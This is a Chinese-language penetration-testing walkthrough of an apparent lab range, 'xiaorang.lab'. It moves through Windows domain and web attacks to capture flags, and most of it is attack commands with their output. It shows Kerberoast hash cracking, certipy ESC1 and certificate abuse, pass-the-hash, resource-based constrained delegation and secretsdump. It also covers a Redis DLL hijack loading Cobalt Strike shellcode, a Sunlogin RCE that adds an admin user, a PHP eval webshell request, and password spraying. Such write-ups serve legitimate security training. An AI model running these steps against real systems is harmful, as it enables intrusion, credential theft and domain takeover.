$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$04840668d5e487a9f588bdbaa475dfc7$f8d6f3057121dd3edb744f9a980faf5836df7e9cbae58ce6d17653433781353289a5d4fec4f6cd77b33309547e7bc0ca11ca79f4ca0ae2cee00d8e688dba06d4d0be297304c4b3dc183ee05dfade4b6ba7ea5fdbc3908e62c06c93cd4c4d44c9578f2b21a0c7c7c2320dc5805c0d72f099e8fc00a2faa268c687104fe562115467e890e75bc60c742f5c21ca2e89985e26f359f3b2b02922e27257d67cd239464abcdc1cc59592cd8175460bf045f5069bd9c47c7178dba6879c5d44058fb548daa7ee5621c9e8655187abbdcc23632edc8e2a5e8576fc402c4483b28485282b73c1621e9e976322b710a7e5b1fb8ec4f6f741a26aa731a7fad22552608c829ff74bd042f970fb94ae943abaee53a68a4bc13fff39a73eb10691d80c551e08ecbd69c65f7fae1ed1d11c0f6d97b18f5d60e0144565520ae535991f797b95041974013bd54e3c8e81833a2fe7f84b362768f7de6cedd6a21cf70d1024ddf83f734589dc2e381ba106db3aefc5dd3c4b491e61f28b6facd437c45fe2f2237b88c09a0c7c8b7dca900846a2a784de1edab31a01570e3db45460c23889d12fad449f16b7c3e60956ad03ee7a79923c07163615ad03ec09ce460a9c14ba91c2dd5f90799f2b96ed43fbd093576d78a25867e617f50f780956786ed436231e9e849c240629e2e0bcb476f7f5648c391ad9552a59ced391823e94ed3c8301154ac0604e302ba050983a17e0419fc045cfbb405b84449889b01d724aba14804dd3ab1b9c15f518991580a05291f0389a25d0ab889401352faa49530544ee46e4ecc1345b87d5023d920a1b08877d3e92b82fc5cef471cd363975c6b8a51523215d206797a6c050cb919f59a15f063029d4d0068c6fec7614f60e91fa4d8d66630c19eb30fac60d71ecc5e70014ecc24dcfe4a40e3868f2758c3058e64864e7f4f200d2ab34029d79f6cca9a9a72367d6b19a82147b029437599837d36957d3523462a95e5f6d5a182a1986310d3508f62d2205050d2058adc55d963c0cafb97a6db37fd332c4bfa125e84770854dba28a3e5db840f25d3cb95493d0e151a8829a5538426d058e629f59d4471d6c037973b003fb51c71e5bf12c22935954f6c3d381e1e53ef4994370d75219400ed91b2a2b519459ec5924837242a0bf5043c82ad53d012e0f52a5f2635a992abb827fe08da3f19d31b909335ca8e65dbe7a00af63be9be5792b9cab3f1fbd7f43cab7037291bf6eb33874e11e01845312807f8b06222fe2c8fd5303666692fb46de18beb72e57b18aa25d3b16e595d22586db9e78a02a26cc670f236da989ad69861ad94020141223e063b5d356761da8913bc392f5155ef24798c3530e07fb0f272cc52e5912588eb14534c7d20b636096c1a6d56756c55c8b5aff414db0848ab51947daa1fda797bbfd01df17be79815551d9902a338e5e19c4212fca8359428f277aacdce1339e58701283cf497afda9f46ce64fbbbdeb64e3f8b7ee7734676b5298446
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$806d9c2234bb339f2903f937d5fd57b5$35fb2275bc73a00ef7d862375937280c8eb5c142253def810c57d33dacbf1ce0c386510d45be432cac0d2abab8f24006bdff7ea3b80687d861a2f399ebe998d7b425847b73c035022dc8b99cc9e40839305806b6ab4b030ac120813d1196b86959e71436c4c2f75b39332000869eb4d052d5cb0543bc15164c1625fbfb1ad0561515d7523af7db729d30b95c342eee5fe31aeb2a312866eb00bea8b7a314e9037c00033bc813dd2111138fc8364abc0eb6d8f1726c8d415672fcf7caefcfdbdee76457fe077e5006e20653a92a83eca1f87137c281a1217fc237fb3e70b380bee0f468d124531eee3c73d37966a300ba53ae49023f028d5b50346faf334ef522e9dbb4c550337d64c3650a2f797f21799b10d115c7277a81d254b5a4a4aed750add6bdf3e9c57d1da332d14ab9b5ae09946cfed0df1f08d2485116b0901199cba8e68c13261373e87e75132d0eba44f9bf90ca9c05a4dad692a137a8c194a04310198d9aae847dcb26d6d15ea4ed8d1b5aa0be8dfa5abefd1f09f9696787c50d997a9548b03bc01c21dddd5cb2ef1225a06255d9010073aa92550f4d255137202cb90ffb8db4ae8727e313881f356f0e1b552ef443847afda1e523d3c76098316cc5a1c096bbc0e234ec6f1f92dff0a3bb09c6ddf21fd1f45436d0ab5c8f1b0c19cfb00abf5076567e829694779c3c17ad9ad86824277257e85bb718fd6bdb641cef11cc5b5fe313f488b8cd7a8b5da450a78076ac217c2dd300013d1258e61a208b4c6de0f926e633af6885ff25057e322e0457a13d35ba97eb4040b04e12d47332b589bee192e9a718678f8ccc18041234e2ecd65c861770fef912ec092fe0776d88cb718fd8b0f6c7360ef47086d4536ef5fc618a55b734d604cb7cfbfb7d166fc1c2c88caa9215dfe251a503d16dfdc053ea5b7853f01df153842692af13a993192693aa76ac93d77e843d97414525cea75a3c0887ed25fdb3dc6b0aa11e079f32f571381b4fd45d982e4842eee301ae5cf5dbd349cfbb370d64d20aa808219a49b564c285580828e8e8e2ee2188161892c50d953a390a714678bc9f576fb4be0c552da51fb7993d228280e5bbf714a53977c7d16baf21912455e55ee980b6f5212abc5ca469cc9e13d4f2b160ddf8bec67091fd31d76a7a205459c949b83d362ba6f1069b893e1fa2f59cd8dc10f4877741a573ecab96c3900e36c0570c5d0a7fc67cb93c61b7a9ce67eab737c8650a4041363c085a0de5f2ccb97e6f6be75320ead6cddbbfcb096a55e7122ee2ff81a7ab7e0afcca4afcd331a593e810bc87cbf52c107b9c7b1c7db2ca8640e1edf318acfdf49154c644f1bfdaef1a582292ef031bd30b7e9204dc691b88b006a92065d8861c8146ae45e96e47d690a3db271a57fe56e8343a4ebc8ec7ddfecc214162cf4924c176c6fc40db135a5ab4fffa7ff5774d52d36217137d887b6bd713e5df46f05c078fd3c68ebfad55491717fa570dba60c0d0b55b1fd1f2c5
|
接下来我们需要用hashcat进行哈希爆破
1
|
hashcat.exe -m 13100 hash.txt rockyou.txt
|

1
|
zhangxia@xiaorang.lab MyPass2@@6
|
可以成功登录

登录之后是用户权限,无法获取flag
然后因为有用户账号和密码,可以尝试打AD-CS
先检测一下
1
|
proxychains certipy-ad find -u 'zhangxia@xiaorang.lab' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout
|
确实有,存在ESC1

既然有账号密码,那就直接申请证书
1
|
proxychains certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'
|
然后直接获取
1
|
proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7
|

1
|
aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80
|
有了管理员哈希之后就可以打PTH了
1
|
proxychains4 python3 smbexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7 -codec gbk
|

1
|
proxychains4 python3 smbexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26 -codec gbk
|
靶场没时间了,这里就不重复开了
MagicRelay
flag1
知识点:redisdll劫持上线cs
fscan发现有redis未授权

我们通过mdut连接发现是windows系统,windows系统无法写入ssh和计划任务,没有80端口也无法写入webshell
redis版本为3.x,也无法利用主从复制
能够利用的只有redisdll劫持,需要以下工具
sb_kiddie-/hacking_win/dll_hijack/DLLHijacker.py at master · JKme/sb_kiddie-
r35tart/RedisWriteFile: 通过 Redis 主从写出无损文件
这里需要这个dbghelp.dll

通过脚本运行一下
1
|
python DLLHijacker.py dbghelp.dll
|

然后打开生成的sin文件,在vs中修改一下属性


然后CS生成一个c的payload

dllmain.cpp中的shellcode替换一下

最后选择release x64版本编译一下

生成的这个dbghelp.dll就是我们可以利用的dll,再用这个rediswritefile.py写入

最后再把文件夹放到公网ip上,直接执行
1
2
3
4
5
6
|
python3 RedisWriteFile.py --rhost
39.99.156.203 --rport 6379 --lhost 101.201.79.208 --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'
redis-cli -h 39.99.156.203
bgsave
|
一开始失败了,应该是windows版本的问题,用了其他师傅的dll重新搞一此就成功了

1
|
shell "type C:\Users\Administrator\flag\flag01.txt"
|

flag02
知识点:向日葵rce
传甜土豆提权至system(无system无法与域内连接)
有杀软,不过好像不会杀掉什么东西

开扫


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
[*] NetInfo
[*]172.22.12.25
[->]WIN-YUYAOX9Q
[->]172.22.12.25
[*] NetInfo
[*]172.22.12.31
[->]WIN-IISQE3PC
[->]172.22.12.31
[*] NetBios 172.22.12.31 WORKGROUP\WIN-IISQE3PC
[*] NetBios 172.22.12.12 WIN-AUTHORITY.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.12.6 (Windows Server 2016 Standard 14393)
[*] NetBios 172.22.12.6 [+] DC:WIN-SERVER.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetInfo
[*]172.22.12.6
[->]WIN-SERVER
[->]172.22.12.6
[*] NetInfo
[*]172.22.12.12
[->]WIN-AUTHORITY
[->]172.22.12.12
[+] ftp 172.22.12.31:21:anonymous
[->]SunloginClient_11.0.0.33826_x64.exe
[*] WebTitle http://172.22.12.12 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.12.31 code:200 len:703 title:IIS Windows Server
[+] PocScan http://172.22.12.12 poc-yaml-active-directory-certsrv-detect
[+] Redis 172.22.12.25:6379 unauthorized file:C:\Program Files\Redis/dump.rdb
已完成 17/17
|
| ip |
功能 |
| 172.22.12.6 |
WIN-SERVER DC域控 |
| 172.22.12.12 |
WIN-AUTHORITY 存在匿名ftp |
| 172.22.12.25 |
外网机 (拿下) |
| 172.22.12.31 |
WIN-IISQE3PC |
匿名ftp进行利用
1
|
proxychains4 ftp 172.22.12.31
|
发现存在向日葵11.0版本,有个rce(其实前面还扫到了)

利用一下
Release Linux+Mac+Windows · Mr-xn/sunlogin_rce
打向日葵rce,下载exe上传到入口机
扫描
1
|
C:\Users\Public\xrkRce.exe -h 172.22.12.31 -t scan
|

漏洞点在49689,尝试rce
1
|
C:\Users\Public\xrkRce.exe -h 172.22.12.31 -t rce -p 49689 -c "whoami"
|

能执行命令,搞个RDP上去
1
2
3
|
C:\Users\Public\xrkRce.exe -h 172.22.12.31 -t rce -p 49689 -c "net user liernian qwer123! /add"
C:\Users\Public\xrkRce.exe -h 172.22.12.31 -t rce -p 49689 -c "net localgroup Administrators liernian /add"
|


这台机子好像不在域内,那就不提权了
flag04
知识点:AD-CS新利用
这里省略用血猎犬收集信息,直接打,首先先收集一个机器账户的哈希
1
2
3
4
5
|
[00000003] Primary
* Username : WIN-YUYAOX9Q$
* Domain : XIAORANG
* NTLM : e611213c6a712f9b18a8d056005a4f0f
* SHA1 : 1a8d2c95320592037c0fa583c1f62212d4ff8ce9
|
然后看看服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
[02/10 14:05:30] beacon> shell certutil
[02/10 14:05:30] [*] Tasked beacon to run: certutil
[02/10 14:05:30] [+] host called home, sent: 51 bytes
[02/10 14:05:30] [+] received output:
项 0:
名称: "xiaorang-WIN-AUTHORITY-CA"
部门: ""
单位: ""
区域: ""
省/自治区: ""
国家/地区: ""
配置: "WIN-AUTHORITY.xiaorang.lab\xiaorang-WIN-AUTHORITY-CA"
Exchange 证书: ""
签名证书: ""
描述: ""
服务器: "WIN-AUTHORITY.xiaorang.lab"
颁发机构: "xiaorang-WIN-AUTHORITY-CA"
净化的名称: "xiaorang-WIN-AUTHORITY-CA"
短名称: "xiaorang-WIN-AUTHORITY-CA"
净化的短名称: "xiaorang-WIN-AUTHORITY-CA"
标记: "1"
Web 注册服务器: ""
CertUtil: -dump 命令成功完成。
|
创建用户
1
|
proxychains certipy-ad account create -u WIN-YUYAOX9Q$ -hashes e611213c6a712f9b18a8d056005a4f0f -dc-ip 172.22.12.6 -user liernian -dns WIN-SERVER.xiaorang.lab -debug
|

1
|
liernian/SQruguVlKVNYvo1D
|
申请证书
1
|
proxychains certipy-ad req -u 'liernian$@xiaorang.lab' -p 'SQruguVlKVNYvo1D' -ca 'xiaorang-WIN-AUTHORITY-CA' -target 172.22.12.12 -template 'Machine' -debug -dc-ip 172.22.12.6 -timeout 30
|

导出域控hash
1
|
proxychains certipy-ad auth -pfx win-server.pfx -dc-ip 172.22.12.6 -debug
|

发生如下报错
1
|
KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
|
这里报错是因为获取的证书没有 智能卡登录 EKU,但这里我们可以通过另一种方式利用
首先我们先配置一下host,不配置的话最后一步会报错

然后用openssl导出证书
1
2
3
|
openssl pkcs12 -in win-server.pfx -nodes -out win-server.pem
openssl rsa -in win-server.pem -out win-server.key
openssl x509 -in win-server.pem -out win-server.crt
|
将证书配置到域控的RBCD
1
|
proxychains -q python3 passthecert.py -action write_rbcd -crt win-server.crt -key win-server.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'liernian$'
|

申请一张cifs服务的ST
1
|
proxychains -q impacket-getST xiaorang.lab/'liernian$':'SQruguVlKVNYvo1D' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6
|

然后本地导入票据 PTT
1
|
export KRB5CCNAME=Administrator.ccache
|
最后直接利用
1
|
proxychains -q impacket-psexec Administrator@win-server.xiaorang.lab -k -no-pass -dc-ip 172.22.12.6 -codec gbk
|


flag03
知识点:PTH
导出域控哈希
1
|
proxychains -q impacket-secretsdump 'xiaorang.lab/administrator@win-server.xiaorang.lab' -target-ip 172.22.12.6 -no-pass -k
|

1
|
aa95e708a5182931157a526acf769b13
|
打PTH就行
1
|
proxychains4 python3 smbexec.py -hashes :aa95e708a5182931157a526acf769b13 xiaorang.lab/administrator@172.22.12.6
|

Delegation
flag01
知识点:easycms利用


进后台
好像cyber打过一样的,不过不是一个版本
漏洞利用如下
1
2
3
4
5
6
7
8
9
|
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.98.126.144
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=os9kli93e59pjclq4361kaairm; loginfalse74c6352c5a281ec5947783b8a186e225=1; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
sid=#data_d_.._d_.._d_.._d_2.php&slen=693&scontent=<?php eval($_POST["a"]);?>
|


权限很低,要进行提权
1
|
find / -user root -perm -4000 -print 2>/dev/null
|

1
|
diff --line-format=%L /dev/null /home/flag/flag01.txt
|

提示
flag02
知识点:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
[*] NetInfo
[*]172.22.4.7
[->]DC01
[->]172.22.4.7
[*] OsInfo 172.22.4.7 (Windows Server 2016 Datacenter 14393)
[*] NetInfo
[*]172.22.4.19
[->]FILESERVER
[->]172.22.4.19
[*] NetBios 172.22.4.7 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.4.45 XIAORANG\WIN19
[*] NetBios 172.22.4.19 FILESERVER.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetInfo
[*]172.22.4.45
[->]WIN19
[->]172.22.4.45
[*] WebTitle http://172.22.4.36 code:200 len:68101 title:中文网页标题
[*] WebTitle http://172.22.4.45 code:200 len:703 title:IIS Windows Server
|
爆破RDP(hydra爆破的时候一直出错)
1
|
proxychains -q crackmapexec smb 172.22.4.45 -u Adrian -p /home/kali/rockyou.txt -d WIN19
|
rdp无法登录,密码过期了,修改一下
1
|
proxychains python3 smbpasswd.py xiaorang.lab/Adrian:'babygirl1'@172.22.4.45 -newpass 'Admin123$%'
|
修改无用